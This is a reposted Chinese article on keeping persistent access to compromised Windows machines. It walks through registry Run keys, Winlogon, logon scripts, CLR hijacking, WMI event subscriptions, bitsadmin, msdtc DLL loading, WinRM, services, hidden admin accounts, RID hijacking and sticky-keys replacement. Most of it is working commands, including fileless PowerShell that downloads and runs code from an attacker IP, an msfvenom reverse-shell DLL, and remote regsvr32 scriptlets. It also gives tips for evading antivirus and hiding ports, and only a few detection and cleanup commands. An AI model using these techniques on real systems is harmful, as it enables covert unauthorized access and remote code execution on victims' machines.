Windows权限维持

注册表类:

普通注册表后门

在一般用户权限下,通常是将要执行的后门程序或脚本路径填写到如下注册表的键值中HKCU\Software\Microsoft\Windows\CurrentVersion\Run,键名任意。普通权限即可运行

cmd下操作:

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\Users\administrator\desktop\pentestlab.exe

powershell下操作:

Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" "Pentestlab" "C:\Users\administrator\desktop\pentestlab.exe" -Forc

电脑重启后上线:

除了上面的位置之外还有下面的位置,可以让我们实现权限维持:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

上面的是针对于用户的注册表,下面的这几个是针对本地计算机的注册表:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

添加载荷的方法的自然也和之前的一样了,只是所处的位置不同罢了,注意service的程序。而防御与检测策略也是比较好做的,在这些的注册表的位置查看是否有可疑程序即可。

Winlogon Helper DLL后门

Winlogon是一个Windows组件,用来处理各种活动,如登录、注销、身份验证期间加载用户配置文件、关闭、锁定屏幕等。这种行为由注册表管理,该注册表定义在Windows登录期间启动哪些进程。所以我们可以依靠这个注册表来进行权限维持。

注册表位置如下:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify

其中的userinit与shell主要是来运行exe程序,而notify则用来执行dll文件(Windows 7之前)。
 

而userinit又可以通过powershell的方式,来实现无文件后门,用法如下:

PS C:\Users\Administrator> Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,powershell.exe -nop -w hidden -c `"IEX ((new-object net.webclient).downloadstring(`'http://192.168.31.109:8080/a`'))`""

注意代码引号的转义问题。可以使用反引号绕过。

Logon Scripts后门

注册表路径: HKCU\Environment\

创建字符串键值: UserInitMprLogonScript

cmd下操作:

reg add "HKCU:\Environment\" /v UserInitMprLogonScript /t REG_SZ /d "C:\1.bat"

powershell下操作:

Set-ItemProperty "HKCU:\Environment\" "UserInitMprLogonScript" "C:\1.bat" -Force

bat内容如下:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.31.109:8080/a'))"

Logon Scripts是优先于很多杀毒软件启动(部分杀毒是优先于他启动)的,所以可以通过这种方式将powershell命令写到bat脚本中,达到免杀隐藏启动的效果。

缺点就是需要留文件,并不方便。

注册表之CLR

CLR全称为Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。

要使clr能够劫持系统中全部.net程序,需要设置环境变量,要是只用命令行,可以使用wmi。

直接给出批处理文件:

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
certutil.exe -urlcache -split -f yourdll
certutil.exe -urlcache -split -f yourdll delete
SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

x64:

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll delete
SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg_x64.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F 
SET KEY=HKEY_CURRENT_USER\Software\Classes\WoW6432Node\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

内部工具类

waitfor.exe

该工具用来同步网络中计算机,可以发送或等待系统上的信号。

支持下列操作系统:

Windows Server 2003
Windows Vista
Windows XP
Windows Server 2008
Windows 7
Windows Server 2003 with SP2
Windows Server 2003 R2
Windows Server 2008 R2
Windows Server 2000
Windows Server 2012
Windows Server 2003 with SP1
Windows 8
Windows 10

首先新建一个powershell文件内容为:

start-process calc.execmd /c waitfor persist `&`& powershell -executionpolicy bypass -file c:\test\1.ps1

然后开启等待:

waitfor persist1 && powershell -executionpolicy bypass -file c:\test\1.ps1

另一个cmd

waitfor /s 127.0.0.1 /si persist1

即可成功调用cmd。

注意,低版本powershell会报错:

或者使用三好学生师傅的脚本:

<#
  A quick POC to use Waitfor.exe to maintain persistence
  Author: 3gstudent @3gstudent
  Learn from:https://twitter.com/danielhbohannon/status/872258924078092288
#>
$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Backdoor'
$StaticClass.Put()| Out-Null
$StaticClass.Properties.Add('Code' , "cmd /c start calc.exe ```&```& taskkill /f /im powershell.exe ```&```& waitfor persist ```&```& powershell -nop -W Hidden -E JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==")
$StaticClass.Put() | Out-Null

$exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;
iex $exec | Out-Null

然后使用下面的方式开启:

powershell -executionpolicy bypass .\test.ps1

waitfor /s 127.0.0.1 /si persist

即可看到效果。

bitsadmin

win7之后,进行上传下载的工具。

利用方法如下:

PS C:\Users\Administrator> bitsadmin /create backdoor
PS C:\Users\Administrator> bitsadmin /addfile backdoor c:\windows\system32\calc.exe c:\Users\administrator\Desktop\calc.exe
PS C:\Users\Administrator> bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:http://192.168.31.109/calc.sct scrobj.dll"
PS C:\Users\Administrator> bitsadmin /Resume backdoor

当然,换成msf的sct也就可以上线了。白名单运行程序不仅仅只有regsvr32,还有别的很多,可以去查下资料

可以使用下面的方法进行检测:

PS C:\Users\Administrator> bitsadmin /list /verbose

msdtc加载后门

msdtc.exe 存在于组环境和域环境中,是微软的一个分布式事物处理协调器服务。要求处于工作组或者域环境内。

因为他在启动时会默认加载oci.dll,SQLLib80.dll和xa80.dll。Windows系统默认不包含oci.dll。

我们将后门dll将其重命名为oci.dll,并将其放置在%SystemRoot%\system32\中,那么重启时,就会加载我们的dll,然后得到一个session。

注意,dll版本要根据目标机器的位数来生成。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.31.109 LPORT=4444 -f dll > oci.dll

cmd或powershell下执行
taskkill /f /im msdtc.exe
net start msdtc

即可获得会话。

wmi执行后门技术

WMI可以描述为一组管理Windows系统的方法和功能。我们可以把它当作API来与Windows系统进行相互交流。WMI在渗透测试中的价值在于它不需要下载和安装, 因为WMI是Windows系统自带功能。而且整个运行过程都在计算机内存中发生,不会留下任何痕迹。

在使用wmi进行权限维持的时候,我们一般用到下面的三个类:

__EventFilter 
EventConsumer
__FilterToConsumerBinding 

下面我们看下他的利用方式,首先是mof。

msf先生成一个web的监听,然后使用msf生成文件。

irbputs generate_mof("Metasploit1","regsvr32 /s /n /u /i:http://192.168.31.109:8080/RjdtuMLURHfkH.sct scrobj.dll")

然后编译mof

mofcomp.exe .\Metasploit.mof

即可得到会话。第二种方式就是使用wmi事件。

命令如下:

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="PentestLab", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="PentestLab", ExecutablePath="C:\users\administrator\desktop\msf.exe",CommandLineTemplate="C:\users\administrator\desktop\msf.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"PentestLab\"", Consumer="CommandLineEventConsumer.Name=\"PentestLab\""

然后重启电脑,60s后反弹会话。

powershell版本:

$FilterArgs = @{name='Pentestlab-WMI';
                EventNameSpace='root\CimV2';
                QueryLanguage="WQL";
                Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs
 
$ConsumerArgs = @{name='Pentestlab-WMI';
                CommandLineTemplate="$($Env:SystemRoot)\System32\pentestlab.exe";}
$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs
 
$FilterToConsumerArgs = @{
Filter = [Ref] $Filter;
Consumer = [Ref] $Consumer;
}
$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs

如果想要删除的话,可以使用下面的命令:

$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'Pentestlab-WMI'"
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'Pentestlab-WMI'"
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"
 
$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject

powershell版本的也可以直接使用别人写好的脚本:https://github.com/n0pe-sled/WMI-Persistence/blob/master/WMI-Persistence.ps1

当然以下工具都具有该功能:Empire、SharpSploit、PoshC2、PowerLurk、WMIPersist、

而对于此类攻击的检测,就查看上面所说的那三种类就可以了。

#List Event Filters
Get-WMIObject -Namespace root\Subscription -Class __EventFilter

#List Event Consumers
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

#List Event Bindings
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

且能发现木马的踪迹


 

计划任务

经典中的经典。

schtasks.exe /Create /TN update /TR xx(你要执行的命令) /SC ONLOGON /F /RL HIGHEST

demo:

C:\Users\Administrator>schtasks /create /sc minute /mo 1 /tn "chrome" /tr "wscript.exe C:\users\Administrator\Desktop\msf.vbs"

或者使用powershell无文件加载也是可以的。

WinRM服务后门

基本原理是使用Windows 的远程管理管理服务WinRM,组合HTTP.sys驱动自带的端口复用功能,一起实现正向的端口复用后门。后门连接是需要目标服务器的高权用户的明文密码的,需要先抓取相应的明文密码才可部署后门。

下面是部署方法:

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"} //开启监听
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"} //更改wimrm的端口,防止被怀疑

查看状态:

winrm e winrm/config/listener

然后链接后门,本地做如下设置:

winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}

然后连接后门,获得cmd环境。

C:\Users\Administrator>winrs -r:http://192.168.31.94 -u:administrator -p:abc123! cmd

如果是非管理员用户,用下面的方法修改注册表即可。

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

修改系统服务

使用sc制作权限维持:

#创建Fax传真服务,并设置为自启动
sc create Fax binPath= "C:\123123.exe" start= "auto" obj= "LocalSystem"
#增加服务描述
sc descrīption Fax
#启动
sc start Fax

重启获得会话。

记得监听添加下面的参数防止假死:

set autorunscript migrate -f

dll劫持

这个,看个人的思路以及编码能力了,比如劫持个安全狗??

远程登录类

影子账户、克隆账户、激活guest

net user test$ 123456 /add&&net localgroup administrators test$ /add

net user guest /active:yes
net user guest 1234
net localgroup administrators guest /add

rid_hijack

通过劫持有效帐户的RID来在注册表中进行修改,以使Guest帐户成为管理员

msf5 post(windows/manage/rid_hijack) > set session 5
session => 5
msf5 post(windows/manage/rid_hijack) > set getsystem true 
getsystem => true
msf5 post(windows/manage/rid_hijack) > set guest_account true 
guest_account => true
msf5 post(windows/manage/rid_hijack) > set password 123!@ASQs
password => 123!@ASQs
msf5 post(windows/manage/rid_hijack) > exploit

然后impacket链接

shift后门

C:\Windows\System32\sethc.exe     粘滞键,启动快捷键:按五次shift键
C:\Windows\System32\utilman.exe   设置中心,启动快捷键:Windows+U键
cd c:\Windows\System32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe

高版本的话就映像劫持吧。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/376321.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Linux虚拟文件系统(VFS)

虚拟地址空间通常是与进程密切相关的概念&#xff0c;而不是文件系统。虚拟地址空间是为了提供进程对内存的抽象和隔离而设计的。 文件系统不使用页表&#xff0c;直接使用物理地址。 虚拟文件系统是linux内核的一个核心子系统。、 虚拟文件系统的目的&#xff1a;通过一个抽…

【ES数据可视化】kibana实现数据大屏

目录 1.概述 2.绘制数据大屏 2.1.准备数据 2.2.绘制大屏 3.嵌入项目中 1.概述 再来重新认识一下kibana&#xff1a; Kibana 是一个用于数据可视化和分析的开源工具&#xff0c;是 Elastic Stack&#xff08;以前称为 ELK Stack&#xff09;中的一部分&#xff0c;由 Ela…

navigator.mediaDevices.getUserMedia获取本地音频/麦克权限并提示用户

navigator.mediaDevices.getUserMedia获取本地音频/麦克权限并提示用户 效果获取权限NotFoundErrorNotAllowedError 代码 效果 获取权限 NotFoundError NotAllowedError 代码 // 调用 captureLocalMedia()// 方法 function captureLocalMedia() {console.warn(Requesting lo…

C# CAD交互界面-自定义面板集(四)

运行环境 vs2022 c# cad2016 调试成功 一、引用 using Autodesk.AutoCAD.Runtime; using Autodesk.AutoCAD.Windows; using System.Windows.Forms; 二、程序说明 创建自定义面板集&#xff08;PaletteSet&#xff09;的C#命令方法实现。该方法名为CreatePalette&#xff…

67-关于mysql-8.0连接SSL账号的一些问题

背景 近期开发反馈有个账号连不上数据库&#xff0c;问什么时候发现连不上的&#xff0c;开发说今天才开始用&#xff0c;好家伙&#xff0c;环境给到开发一个月了&#xff0c;现在才开始使用&#xff0c;申请的时候说急急急&#xff0c;明天就要上线。那咱们看看为啥这个账号…

step导入到solidworks外观处理方法

在导入到solidworks中的kuka机器人会变成灰色。看上去很不好看。如何才能大体恢复一下原外观呢&#xff1f;主要可以使用如下两种方法。 主要是使用了将里面的形状单独变成零件&#xff0c;方便装配&#xff0c;使机器人可以变化姿态。造成外观颜色丢失。 1.外观复制 如下图所…

人工智能|推荐系统——基于tensorflow的个性化电影推荐系统实战(有前端)

代码下载&#xff1a; 基于tensorflow的个性化电影推荐系统实战(有前端).zip资源-CSDN文库 项目简介&#xff1a; dl_re_web : Web 项目的文件夹re_sys&#xff1a; Web app model&#xff1a;百度云下载之后&#xff0c;把model放到该文件夹下recommend&#xff1a; 网络模型相…

大华 DSS 数字监控系统 attachment_getAttList.action SQL 注入漏洞复现

0x01 产品简介 大华 DSS 数字监控系统是大华开发的一款安防视频监控系统,拥有实时监视、云台操作、录像回放、报警处理、设备管理等功能。 0x02 漏洞概述 大华 DSS存在SQL注入漏洞,攻击者 /portal/attachment_getAttList.action 路由发送特殊构造的数据包,利用报错注入获…

事件的力量:探索Spring框架中的事件处理机制

欢迎来到我的博客&#xff0c;代码的世界里&#xff0c;每一行都是一个故事 事件的力量&#xff1a;探索Spring框架中的事件处理机制 前言什么是spring事件事件发布与监听自定义事件异步事件处理事件传播条件事件监听 前言 在现代应用程序中&#xff0c;各个组件之间的通信是至…

储氢材料行业调研:市场需求将不断增长

近年来&#xff0c;热度持续升温的碳中和、碳达峰话题&#xff0c;使得氢能及其相关产业被高度关注&#xff0c;而决定氢能应用关键的是安全、高效的氢能储运技术。在氢能需求不断增长的情况下&#xff0c;储氢材料行业是市场也将不断发展。在氢能需求不断增长的情况下,储氢材料…

《Python 网络爬虫简易速速上手小册》第4章:Python 网络爬虫数据抓取技术(2024 最新版)

文章目录 4.1 解析 HTML 与 CSS4.1.1 重点基础知识讲解4.1.2 重点案例&#xff1a;使用 BeautifulSoup 解析博客文章4.1.3 拓展案例 1&#xff1a;使用 lxml 和 XPath 解析产品信息4.1.4 拓展案例 2&#xff1a;动态加载内容的抓取挑战 4.2 动态内容抓取技术4.2.1 重点基础知识…

【C++】内存管理深入解析

目录 1. 内存的五大区域1.1 栈区&#xff08;Stack&#xff09;1.2 堆区&#xff08;Heap&#xff09;1.3 全局/静态存储区1.4 常量存储区1.5 代码区 2. 回顾c语言的动态内存管理2.1 malloc/calloc/realloc2.2 free 3. C中的新旧对话3.1 new3.2 delete 4. new/delete的实现原理…

ES6 ~ ES11 学习笔记

课程地址 ES6 let let 不能重复声明变量&#xff08;var 可以&#xff09; let a; let b, c, d; let e 100; let f 521, g "atguigu", h [];let 具有块级作用域&#xff0c;内层变量外层无法访问 let 不存在变量提升&#xff08;运行前收集变量和函数&#…

ZigBee学习——在官方例程上实现串口通信

Z-Stack版本为3.0.2 IAR版本为10.10.1 文章目录 一、添加头文件二、定义接收缓冲区三、编写Uart初始化函数四、编写串口回调函数五、函数声明六、函数调用七、可能遇到的问题(function “halUartInit“ has no prototype) 以下所有操作都是在APP层进行&#xff0c;也就是这个文…

[Python 安装]

进入Python的官方下载页面 http://www.python.org/download/ 然后进行软件的下载 下载好之后点击exe会出现安装界面&#xff0c;接着进行安装&#xff0c;选择安装路径。 运行Python 安装成功后&#xff0c;打开命令提示符窗口&#xff08;winR,在输入cmd回车&#xf…

C程序训练:二分查找法的应用之2

本文来自&#xff1a;C程序训练&#xff1a;二分查找法的应用之2 在《C程序训练&#xff1a;二分查找法的应用》一文中介绍了利用二分查找计算某个区间中数的个数&#xff0c;本文介绍利用二分查找法计算数列中出现单个数字的位置。题目描述如下。 题目描述&#xff1a;一维整…

Python进阶--下载想要的格言(基于格言网的Python爬虫程序)

注&#xff1a;由于上篇帖子&#xff08;Python进阶--爬取下载人生格言(基于格言网的Python3爬虫)-CSDN博客&#xff09;篇幅长度的限制&#xff0c;此篇帖子对上篇做一个拓展延伸。 目录 一、爬取格言网中想要内容的url 1、找到想要的内容 2、抓包分析&#xff0c;找到想…

Netty源码系列 之 bind绑定流程 源码

Netty框架总览 Netty是一个基于NIO异步通信框架 Netty框架是由许多组件&#xff0c;优化的数据结构所构建成。 正是通过灵活的组件构建&#xff0c;优化后的数据结构&#xff0c;进而才能保证Netty框架面对高并发场景具有一定的能力 Netty相关组件 Netty重要的组件有&…

代码随想录算法训练营DAY14 | 二叉树 (1)

一、二叉树理论基础 1.存储方式 链式存储&#xff1a; 顺序存储&#xff1a; 2.二叉树标准定义(Java) public class TreeNode {int val;TreeNode left;TreeNode right;TreeNode() {}TreeNode(int val) { this.val val; }TreeNode(int val, TreeNode left, TreeNode right) {…

spring cloud stream

背景 主要解决不同消息中间件切换问题。实现不同中间件的代码解耦。 链接: 支持的中间件 后文使用kafka测试。 引入依赖 <dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-stream</artifactId></depende…